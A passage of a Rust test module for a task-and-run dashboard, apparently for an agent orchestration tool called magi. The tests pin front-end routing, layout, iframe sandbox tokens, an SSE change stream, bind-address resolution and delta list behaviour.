14854        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
14855        assert!(
14856            APP_JS.contains(
14857                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
14858            ),
14859            "the note line must name what a blocked task is waiting on, not just that it is blocked"
14860        );
14861        // The classification must key off `status_str`, never off `blocked_by`
14862        // or `block_reason` merely being present - both can survive briefly
14863        // on a task a hold or a dead daemon just moved off `blocked`.
14864        assert!(APP_JS.contains("if (status === \"blocked\") {"));
14865
14866        // A question a task is blocked on gets its own node in the same
14867        // dependency graph, not just a task-shaped node with nothing known
14868        // about it.
14869        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
14870        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
14871        assert!(
14872            APP_JS.contains("location.hash = \"#/questions\";"),
14873            "a question node must jump to the Questions screen, not pretend to be a task"
14874        );
14875
14876        // `Task::answers` - decisions already made - are shown as a record on
14877        // the card, the same disclosure style as the full instruction.
14878        assert!(APP_JS.contains("Resolved questions"));
14879        assert!(APP_JS.contains("r.answersList.append("));
14880        assert!(APP_CSS.contains(".task-answers"));
14881        {
14882            let start = APP_JS
14883                .find("function updateTalkTaskRow")
14884                .expect("updateTalkTaskRow");
14885            let body = &APP_JS[start..];
14886            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
14887            assert!(
14888                body.contains(
14889                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
14890                ),
14891                "a chat-filed task row must link to the task page"
14892            );
14893            assert!(
14894                !body.contains("#/runs/") && !body.contains("#/queue/"),
14895                "the row must not branch to a run or the queue card"
14896            );
14897            assert!(APP_CSS.contains(".talk-task-link"));
14898        }
14899    }
14900
14901    #[test]
14902    fn a_task_notification_links_to_the_task_page() {
14903        // A task notice opens the task detail page, not the Backlog card.
14904        let start = APP_JS
14905            .find("function noticeLink(")
14906            .expect("noticeLink exists");
14907        let body = &APP_JS[start..];
14908        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
14909        assert!(
14910            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
14911            "a task notice's link must target the task page"
14912        );
14913        assert!(
14914            !body.contains("#/queue/"),
14915            "regression: the task link must not go back to the Backlog route"
14916        );
14917        assert!(
14918            APP_JS.contains(
14919                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
14920            ),
14921            "`#/tasks/<id>` must parse into the task route"
14922        );
14923
14924        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
14925        assert!(
14926            APP_JS.contains(
14927                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
14928            ),
14929            "`#/queue/<id>` must parse into a route carrying that id"
14930        );
14931
14932        // And the Backlog view has to actually land on the card once it can
14933        // - see consumeQueueFocus(), which renderQueue() calls on every pass
14934        // so a focus set before the queue has loaded is retried once it has.
14935        assert!(APP_JS.contains("state.queueFocus = route.id;"));
14936        assert!(APP_JS.contains("function consumeQueueFocus()"));
14937        assert!(APP_JS.contains("jumpToTask(id)"));
14938    }
14939
14940    /// Chat rows are two lines at every width: the title alone, then the
14941    /// shrinkable secondary info.
14942    #[test]
14943    fn chat_rows_put_the_title_alone_on_the_first_line() {
14944        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
14945        assert!(APP_CSS.contains(
14946            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
14947        ));
14948        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
14949        assert!(APP_JS.contains("class: \"badge talk-unread\""));
14950    }
14951
14952    #[test]
14953    fn run_rows_put_the_title_alone_on_the_first_line() {
14954        assert!(
14955            APP_CSS.contains(
14956                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
14957            )
14958        );
14959        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
14960        assert!(APP_JS.contains("class: \"card run-card\""));
14961        assert!(APP_JS.contains("class: \"repo run-id\""));
14962    }
14963
14964    /// Wide screens get a master/detail layout built from the views a phone
14965    /// drills into. These are string assertions: they pin the contract between
14966    /// the three assets, not how it looks.
14967    #[test]
14968    fn wide_screens_show_list_and_preview_side_by_side() {
14969        // One breakpoint, spelled the same in the script and the stylesheet.
14970        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
14971        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
14972        assert!(APP_CSS.contains("main[data-split]"));
14973        assert!(APP_CSS.contains("body[data-split]"));
14974
14975        // The route -> panes table, and a narrow screen opting out of it.
14976        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
14977        assert!(
14978            APP_JS.contains(
14979                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
14980            )
14981        );
14982        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
14983        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
14984        assert!(INDEX_HTML.contains("id=\"split-empty\""));
14985
14986        // Selection is derived from the route, and only ever paints a row.
14987        assert!(APP_JS.contains("function markSelected() {"));
14988        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
14989        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
14990        // The dense row must override the stacked card the 720px block sets up.
14991        assert!(
14992            APP_CSS.contains(
14993                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
14994            )
14995        );
14996
14997        // Independent scrolling: the page stops scrolling, each pane does.
14998        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
14999        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
15000        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
15001        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
15002
15003        // A refresh must never navigate: the loaders still check that their
15004        // subject is the one on screen, and crossing the breakpoint only
15005        // re-reads the hash.
15006        assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
15007        assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
15008        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
15009        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
15010
15011        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
15012        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
15013    }
15014
15015    #[test]
15016    fn panel_sandbox_carries_exactly_popups() {
15017        let needle = "sandbox: \"";
15018        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
15019        assert_eq!(
15020            matches.len(),
15021            1,
15022            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
15023        );
15024        let start = matches[0].0 + needle.len();
15025        let end = APP_JS[start..]
15026            .find('"')
15027            .expect("sandbox attribute value must be terminated by a closing quote");
15028        let val = &APP_JS[start..start + end];
15029        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
15030        let expected: std::collections::BTreeSet<&str> =
15031            ["allow-popups", "allow-popups-to-escape-sandbox"]
15032                .into_iter()
15033                .collect();
15034        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
15035        assert!(
15036            !tokens.contains("allow-scripts"),
15037            "allow-scripts must never be present in sandbox"
15038        );
15039        assert!(
15040            !tokens.contains("allow-same-origin"),
15041            "allow-same-origin must never be present in sandbox"
15042        );
15043    }
15044
15045    #[test]
15046    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
15047        // consumeQueueFocus() clears an active Backlog search before it can
15048        // scroll to the target card (the sections list is hidden while a
15049        // search is showing), by recursing back into renderQueue(). The
15050        // fixer's first cut nulled state.queueFocus before that recursive
15051        // call, so the second pass saw nothing to jump to and the jump was
15052        // silently dropped whenever a notification's link was opened with a
15053        // stale search still active. state.queueFocus must only be cleared
15054        // right before jumpToTask() actually runs.
15055        assert!(
15056            APP_JS.contains(
15057                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
15058            ),
15059            "the search-clearing branch must run before state.queueFocus is cleared, or the \
15060             recursive renderQueue() call has nothing left to jump to"
15061        );
15062        assert!(
15063            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
15064            "state.queueFocus must be cleared only once the jump has landed, so a card that \
15065             arrives later still gets it"
15066        );
15067        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
15068        assert!(APP_JS.contains("is not in the current Backlog."));
15069        assert!(APP_JS.contains("li.card[data-task-id=\""));
15070        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
15071        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
15072        assert!(APP_CSS.contains(".card-permalink"));
15073        assert!(APP_CSS.contains(".queue-focus-status"));
15074        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
15075    }
15076
15077    #[test]
15078    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
15079        // The task's own repro: only the link text inside .notice-meta was
15080        // clickable, so a tap on the message, the timestamp, or the card's
15081        // padding did nothing - on a phone that reads as "the card doesn't
15082        // work" even though the tiny link inside it did. Mark read / Dismiss
15083        // must keep working independently of this: `.closest("a, button")`
15084        // is what lets a tap that actually lands on those elements fall
15085        // through instead of being hijacked into a navigation.
15086        assert!(
15087            APP_JS.contains(
15088                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
15089            ),
15090            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
15091        );
15092    }
15093
15094    #[test]
15095    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
15096        assert!(
15097            APP_JS.contains("round.verified_head !== round.head"),
15098            "a round that verified an earlier commit must be visibly distinct from one that \
15099             verified the head reviewers are looking at now"
15100        );
15101        assert!(
15102            APP_JS.contains("round.verified_at"),
15103            "when a check ran must be on the wire, not just which commit"
15104        );
15105        assert!(
15106            APP_JS.contains("resource_blocked"),
15107            "a command magi never got to run (shared build cache contention) must not render \
15108             the same as a command that ran and failed"
15109        );
15110    }
15111
15112    #[test]
15113    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
15114        // Every KPI tile but Total runs and Completion names an exact
15115        // RunStatus and hands it to openRunsFiltered(), which is what wires
15116        // the click into state.runsFilter.status (matchesFilter's own
15117        // status check) rather than the coarser runsStateFilter chips. Each
15118        // status literal here must be one of the strings runSection() (and
15119        // isStale()) actually compare a run's own `status` field against -
15120        // a status this dashboard invented would filter to nothing.
15121        assert!(
15122            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
15123            "every KPI tile built through statusTile() must route its click through \
15124             openRunsFiltered, the single place that sets the Runs filter"
15125        );
15126        for (label, status) in [
15127            ("Merged", "merged"),
15128            ("Ready", "ready"),
15129            ("Blocked", "blocked"),
15130            ("Stalled", "stalled"),
15131        ] {
15132            let call = format!("statusTile(\"{label}\", t.{status}, ");
15133            assert!(
15134                APP_JS.contains(&call),
15135                "expected the {label} KPI tile built via {call}..."
15136            );
15137            assert!(
15138                APP_JS.contains(&format!("status === \"{status}\"")),
15139                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
15140                 compare a run against, not one invented only for the stats tile"
15141            );
15142        }
15143        assert!(
15144            APP_JS.contains("function openRunsFiltered(status)"),
15145            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
15146        );
15147        assert!(
15148            APP_JS.contains(
15149                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
15150            ),
15151            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
15152        );
15153        // applyRoute() only flips which view is visible for a plain `#runs`
15154        // hash - it does not itself redraw the list (see applyRoute's own
15155        // handling below) - so openRunsFiltered must call renderRuns()
15156        // itself, and must call applyRoute() too so the view flips even
15157        // when the hash string doesn't change (the operator may already be
15158        // on the Runs view when a tile is tapped, which fires no
15159        // hashchange event at all).
15160        assert!(
15161            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
15162            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
15163             hashchange event that may never fire"
15164        );
15165    }
15166
15167    #[test]
15168    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
15169        // A stats tile can leave state.runsFilter.status set to something
15170        // done-by-construction (e.g. "merged") - picking "Active" afterward
15171        // must drop it the same way an incompatible tree section is already
15172        // dropped, or the Runs list renders permanently empty with no way
15173        // for the operator to tell why.
15174        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
15175        assert!(
15176            APP_JS.contains(
15177                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
15178            ),
15179            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
15180             guard for an incompatible tree section"
15181        );
15182    }
15183
15184    #[test]
15185    fn every_stats_queue_tile_names_a_real_queue_section() {
15186        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
15187        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
15188        // (consumeQueueSectionFocus finds no matching <details> and drops
15189        // the focus) rather than fail loudly, so pin every key against the
15190        // section list it has to resolve against.
15191        assert!(
15192            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
15193            "every queue tile built through sectionTile() must route its click through \
15194             openQueueSectionFocus"
15195        );
15196        for key in ["upnext", "running", "done", "held", "blocked"] {
15197            assert!(
15198                APP_JS.contains(&format!("{{ key: \"{key}\",")),
15199                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
15200            );
15201        }
15202        // Queued and Failed intentionally both resolve to "upnext" - the
15203        // same section queueSection() itself files them under - rather than
15204        // getting a section each.
15205        for line in [
15206            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
15207            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
15208            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
15209            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
15210            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
15211            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
15212        ] {
15213            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
15214        }
15215    }
15216
15217    #[test]
15218    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
15219        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
15220        // above for the section-focus channel a stats queue tile drives:
15221        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
15222        // through the stale-search-clear recursion into renderQueue(), and
15223        // clear it only once revealQueueSection() is actually about to run -
15224        // the same trap that once silently dropped a task-focus jump.
15225        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
15226        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
15227        assert!(APP_JS.contains("function revealQueueSection(details)"));
15228        assert!(
15229            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
15230            "renderQueue() must consume both focus channels on every pass"
15231        );
15232        assert!(
15233            APP_JS.contains(
15234                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
15235            ),
15236            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
15237             the recursive renderQueue() call has nothing left to reveal"
15238        );
15239        assert!(
15240            APP_JS.contains(
15241                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
15242            ),
15243            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
15244        );
15245        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
15246        // task-focus form of the hash - a plain `#queue` navigation only
15247        // flips which view is visible. openQueueSectionFocus() must
15248        // therefore call renderQueue() itself, and applyRoute() too so the
15249        // view flips even when the hash doesn't change (the Backlog may
15250        // already be open when a tile is tapped, firing no hashchange
15251        // event at all).
15252        assert!(
15253            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
15254            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
15255             hashchange event that may never fire"
15256        );
15257    }
15258
15259    #[tokio::test]
15260    async fn the_change_stream_announces_the_current_revisions_on_connect() {
15261        let f = Fixture::start().await;
15262
15263        let mut socket = tokio::net::TcpStream::connect(f.addr)
15264            .await
15265            .expect("connect");
15266        socket
15267            .write_all(
15268                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
15269            )
15270            .await
15271            .expect("write request");
15272
15273        // Read until the first event arrives rather than to end of stream: the
15274        // stream is endless by design, which is the point of the route.
15275        let mut seen = String::new();
15276        let mut buf = [0u8; 1024];
15277        while !seen.contains("event: change") {
15278            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
15279                .await
15280                .expect("the stream must speak within five seconds")
15281                .expect("read");
15282            assert!(read > 0, "the server closed the change stream: {seen}");
15283            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
15284        }
15285
15286        assert!(
15287            seen.to_lowercase()
15288                .contains("content-type: text/event-stream"),
15289            "the browser only reconnects automatically for a real SSE stream: {seen}"
15290        );
15291        let data = seen
15292            .lines()
15293            .find_map(|l| l.strip_prefix("data:"))
15294            .expect("a data line");
15295        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
15296        assert!(
15297            payload["queue_rev"].is_u64()
15298                && payload["runs_rev"].is_u64()
15299                && payload["questions_rev"].is_u64()
15300                && payload["talks_rev"].is_u64()
15301                && payload["notifications_rev"].is_u64()
15302                && payload["loop_rev"].is_u64(),
15303            "the client needs one revision per store to know what to refetch, \
15304             and `talks_rev` is the only notification a standing talk gets - a \
15305             phone whose radio slept through a turn learns about it here, as \
15306             does one whose operator started the loop from another device: \
15307             {payload}"
15308        );
15309
15310        // The front end re-polls health on a timer and on wake, and takes the
15311        // revisions from that answer whenever the stream is not up. So health
15312        // has to carry every key the stream carries: a phone on a link that
15313        // will not hold an SSE connection is exactly the phone that must still
15314        // notice a question, and a missing key there is not a 500 but a UI
15315        // that quietly stops updating.
15316        let health = f.get("/api/health").await.json();
15317        for key in [
15318            "queue_rev",
15319            "runs_rev",
15320            "questions_rev",
15321            "talks_rev",
15322            "notifications_rev",
15323            "loop_rev",
15324        ] {
15325            assert!(
15326                health[key].is_u64(),
15327                "health is the change stream's fallback and is missing `{key}`: {health}"
15328            );
15329        }
15330    }
15331
15332    #[tokio::test]
15333    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
15334        let f = Fixture::start().await;
15335        let before = f.get("/api/health").await.json()["talks_rev"]
15336            .as_u64()
15337            .expect("talks_rev");
15338
15339        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
15340        std::thread::sleep(Duration::from_millis(10));
15341        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
15342        on_disk.turns.push(crate::talk::Turn {
15343            breaks: Some(Vec::new()),
15344            posted_by: None,
15345            who: crate::talk::Who::Operator,
15346            body: "a new turn".to_owned(),
15347            at: Timestamp::now(),
15348            attachments: Vec::new(),
15349            usage: None,
15350        });
15351        f.talks().put(&mut on_disk).expect("record a turn");
15352
15353        let after = f.get("/api/health").await.json()["talks_rev"]
15354            .as_u64()
15355            .expect("talks_rev");
15356        assert_ne!(
15357            before, after,
15358            "a phone must be able to notice a talk's reply without polling every store"
15359        );
15360    }
15361
15362    #[test]
15363    fn bind_reads_back_from_the_spelling_the_cli_prints() {
15364        // The CLI shows the default in `--help` and parses whatever comes
15365        // back, so the two directions have to agree or `--bind auto` breaks
15366        // the moment someone copies the help text.
15367        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
15368            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
15369        }
15370        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
15371        assert!("everywhere".parse::<Bind>().is_err());
15372    }
15373
15374    #[test]
15375    fn an_explicit_bind_address_is_taken_verbatim() {
15376        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
15377
15378        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
15379
15380        assert_eq!(addr, asked);
15381        assert!(
15382            warning.is_none(),
15383            "an operator who named an address gets no lecture"
15384        );
15385    }
15386
15387    #[test]
15388    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
15389        let (addr, warning) = resolve_bind(&Bind::Auto);
15390
15391        // This has to hold on a CI runner with no `tailscale` and on a dev box
15392        // with one, so the invariant asserted is the one shared by both
15393        // outcomes: the address is either a real tailnet address offered
15394        // without comment, or loopback with an explanation. What must never
15395        // happen is a silent fallback - an operator told "listening on
15396        // 127.0.0.1" with no reason would go looking for a firewall.
15397        match addr {
15398            IpAddr::V4(ip) if is_tailnet(&ip) => {
15399                assert!(warning.is_none(), "a tailnet address needs no warning");
15400            }
15401            other => {
15402                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
15403                let warning = warning.expect("a fallback has to explain itself");
15404                assert!(
15405                    warning.contains("127.0.0.1") && warning.contains("local-only"),
15406                    "the warning says what happened and what it costs: {warning}"
15407                );
15408            }
15409        }
15410    }
15411
15412    #[test]
15413    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
15414        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
15415        // boundary cases are what stop us binding to some other tool's idea of
15416        // an address.
15417        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
15418        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
15419        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
15420        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
15421        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
15422    }
15423
15424    #[test]
15425    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
15426        let ids = vec![
15427            "20260902-140501-aaaa".to_owned(),
15428            "20260902-140502-aabb".to_owned(),
15429        ];
15430
15431        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
15432        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
15433        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
15434
15435        assert_eq!(missing.status, StatusCode::NOT_FOUND);
15436        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
15437        assert_eq!(short, "20260902-140502-aabb");
15438    }
15439    #[tokio::test]
15440    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
15441        // The prompt tells agents to reference attachments by bare filename.
15442        // A document served at `.../panel` resolves `shot.png` against its own
15443        // directory, i.e. `.../shot.png`, which is not the asset route - so a
15444        // panel written exactly as instructed showed broken images. Caught by
15445        // looking at a real one in a browser, not by reading the code.
15446        let fx = Fixture::start().await;
15447        let id = panel(
15448            &fx,
15449            "<img src=\"shot.png\">",
15450            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
15451        );
15452
15453        // The frame's own URL ends in a filename, so its siblings are reachable.
15454        let doc = fx
15455            .get(&format!("/api/questions/{id}/panel/index.html"))
15456            .await;
15457        assert_eq!(doc.status, 200, "{}", doc.body);
15458        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
15459
15460        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
15461        assert_eq!(sibling.status, 200, "{}", sibling.body);
15462        assert_eq!(sibling.header("content-type"), Some("image/png"));
15463        assert_eq!(
15464            sibling.header("content-security-policy"),
15465            Some(PANEL_CSP),
15466            "the sibling route must carry the same policy as the asset route"
15467        );
15468
15469        // The original spelling keeps working: HEAD on it is how the front end
15470        // decides whether to mount a frame at all.
15471        assert_eq!(
15472            fx.head(&format!("/api/questions/{id}/panel")).await.status,
15473            200
15474        );
15475    }
15476
15477    #[test]
15478    fn delta_stamps_cover_add_update_remove_and_noop() {
15479        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
15480        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
15481        let delta = diff_stamps(&before, &after, 42);
15482        assert_eq!(delta.base, 42);
15483        assert_eq!(delta.changed, ["b", "c"]);
15484        assert_eq!(delta.removed, ["a"]);
15485        let same = diff_stamps(&after, &after, 43);
15486        assert!(same.changed.is_empty() && same.removed.is_empty());
15487        assert_ne!(stamps_revision(&before), stamps_revision(&after));
15488        let nanos: Stamps = [("b".into(), (2, 20))].into();
15489        let same_ms: Stamps = [("b".into(), (3, 20))].into();
15490        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
15491        assert_eq!(stamps_revision(&Stamps::new()), 0);
15492    }
15493
15494    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
15495        std::fs::create_dir_all(home.join("runs")).unwrap();
15496        Arc::new(Ui::new(
15497            Queue::at(home.join("queue")),
15498            Questions::at(home.join("questions")),
15499            Talks::at(home.join("talks")),
15500            home.join("runs"),
15501            home.to_owned(),
15502            PathBuf::from("/repo/magi"),
15503        ))
15504    }
15505
15506    #[tokio::test]
15507    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
15508        let home = TempDir::new().unwrap();
15509        let ui = delta_test_ui(home.path());
15510        let mut task = Task::new(
15511            "stream task".into(),
15512            "text".into(),
15513            PathBuf::from("/repo"),
15514            Source::Human,
15515        );
15516        ui.queue.put(&mut task).unwrap();
15517        let response = events(State(ui.clone())).await.into_response();
15518        let mut stream = response.into_body().into_data_stream();
15519        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
15520            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
15521                .await
15522                .unwrap()
15523                .unwrap()
15524                .unwrap();
15525            let text = String::from_utf8(chunk.to_vec()).unwrap();
15526            let data = text
15527                .lines()
15528                .find_map(|line| {
15529                    line.strip_prefix("data: ")
15530                        .or_else(|| line.strip_prefix("data:"))
15531                })
15532                .unwrap();
15533            serde_json::from_str(data).unwrap()
15534        }
15535        let initial = change(&mut stream).await;
15536        assert!(initial.get("queue_delta").is_none());
15537        task.instruction.push_str(" changed");
15538        ui.queue.put(&mut task).unwrap();
15539        let updated = change(&mut stream).await;
15540        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
15541        assert_eq!(
15542            updated["queue_delta"]["changed"],
15543            serde_json::json!([task.id])
15544        );
15545        assert_eq!(
15546            updated["queue_rev"].as_u64(),
15547            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
15548        );
15549        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
15550        let removed = change(&mut stream).await;
15551        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
15552        assert_eq!(
15553            removed["queue_delta"]["removed"],
15554            serde_json::json!([task.id])
15555        );
15556    }
15557
15558    #[tokio::test]
15559    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
15560        let home = TempDir::new().unwrap();
15561        let ui = delta_test_ui(home.path());
15562        let queue = ui.queue.clone();
15563        let query = |ids: Option<&str>| {
15564            Query(ListQuery {
15565                limit: Some(2),
15566                ids: ids.map(str::to_owned),
15567            })
15568        };
15569        let mut root = Task::new(
15570            "root".into(),
15571            "instruction".into(),
15572            PathBuf::from("/repo"),
15573            Source::Human,
15574        );
15575        queue.put(&mut root).unwrap();
15576        let mut blocked = Task::new(
15577            "blocked".into(),
15578            "instruction".into(),
15579            PathBuf::from("/repo"),
15580            Source::Human,
15581        );
15582        blocked.block(vec![root.id.clone()], None);
15583        queue.put(&mut blocked).unwrap();
15584        let whole =
15585            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
15586                .unwrap();
15587        let subset = serde_json::to_value(
15588            queue_list(State(ui.clone()), query(Some(&root.id)))
15589                .await
15590                .unwrap()
15591                .0,
15592        )
15593        .unwrap();
15594        assert_eq!(whole, subset, "requested root plus its blocked dependent");
15595        let blockers = serde_json::to_value(
15596            queue_list(State(ui.clone()), query(Some("")))
15597                .await
15598                .unwrap()
15599                .0,
15600        )
15601        .unwrap();
15602        assert_eq!(blockers.as_array().unwrap().len(), 1);
15603        assert_eq!(blockers[0]["id"], blocked.id);
15604        assert_eq!(
15605            blockers[0]["waits_on"],
15606            whole
15607                .as_array()
15608                .unwrap()
15609                .iter()
15610                .find(|row| row["id"] == blocked.id)
15611                .unwrap()["waits_on"]
15612        );
15613
15614        for id in [
15615            "20260902-140501-aaaa",
15616            "20260902-140502-bbbb",
15617            "20260902-140503-cccc",
15618        ] {
15619            write_run(&ui.runs, id, RunStatus::Merged);
15620        }
15621        let old = serde_json::to_value(
15622            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
15623                .await
15624                .unwrap()
15625                .0,
15626        )
15627        .unwrap();
15628        assert!(
15629            old.as_array().unwrap().is_empty(),
15630            "older updates must not enter the window"
15631        );
15632        let newest = serde_json::to_value(
15633            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
15634                .await
15635                .unwrap()
15636                .0,
15637        )
15638        .unwrap();
15639        assert_eq!(newest.as_array().unwrap().len(), 1);
15640        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
15641
15642        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
15643        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
